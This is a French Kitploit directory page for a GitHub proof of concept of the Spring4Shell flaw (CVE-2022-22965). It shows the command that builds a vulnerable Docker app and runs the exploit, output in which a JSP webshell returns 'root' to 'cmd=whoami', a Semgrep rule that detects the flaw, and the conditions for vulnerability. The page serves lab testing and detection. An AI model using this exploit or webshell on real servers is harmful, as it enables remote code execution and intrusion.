Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
springshell-rce-poc — CVE-2022-22965 - CVE-2010-1622 redux | Kitploit
Outils/GitHubGitHub/dduarte/springshell-rce-poc
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubdduarte/springshell-rce-poc

springshell-rce-poc

CVE-2022-22965 - CVE-2010-1622 redux

Voir le dépôt
1912il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-22965 - application vulnérable et PoC

Essais et erreurs

root@kitploit:~
$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Exemple de sortie

root@kitploit:~
rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification avec Semgrep

root@kitploit:~
$ semgrep --config=semgrep-rule.yml .

Règle Semgrep et cas de test

Exemple de sortie

root@kitploit:~
Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Exigences de l'application vulnérable1

  • JDK 9 ou supérieur
  • Tomcat autonome (pas de Tomcat intégré) avec déploiement WAR
  • Toute version de Spring antérieure à 5.3.18 / 5.2.20 (Spring Boot antérieur à 2.5.12 / 2.6.6)
  • Aucune liste noire sur WebDataBinder / InitBinder
  • Liaison de paramètres avec des POJO directement (pas de @RequestBody, @RequestQuery, etc.)
  • Système de fichiers accessible en écriture (par ex. webapps/ROOT)

Sources

  • https://twitter.com/vxunderground/status/1509170582469943303 / https://github.com/craig/SpringCore0day
  • https://github.com/fengguangbin/spring-rce-war

Footnotes

  1. En supposant des exploits similaires aux PoC connus. Il pourrait y avoir d'autres gadgets... ↩

Télécharger l’outil